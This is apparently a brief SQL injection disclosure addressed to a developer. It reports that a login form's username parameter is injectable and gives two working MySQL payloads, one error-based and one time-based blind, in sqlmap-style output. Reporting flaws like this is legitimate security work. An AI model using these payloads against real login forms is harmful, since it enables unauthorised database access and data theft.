SQLi - parameter username

[nu11secur1ty]

Hello, dear developer, you have a problem with sanitizing your login form.
Issue: SQLi - parameter username

---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=RCIdtbFU''' AND (SELECT 1182 FROM(SELECT COUNT(*),CONCAT(0x71626a6a71,(SELECT (ELT(1182=1182,1))),0x7170707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'lJeH'='lJeH&password=g5X!p2l!Q6

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=RCIdtbFU''' AND (SELECT 6009 FROM (SELECT(SLEEP(5)))oUYb) AND 'FjSW'='FjSW&password=g5X!p2l!Q6
---

BR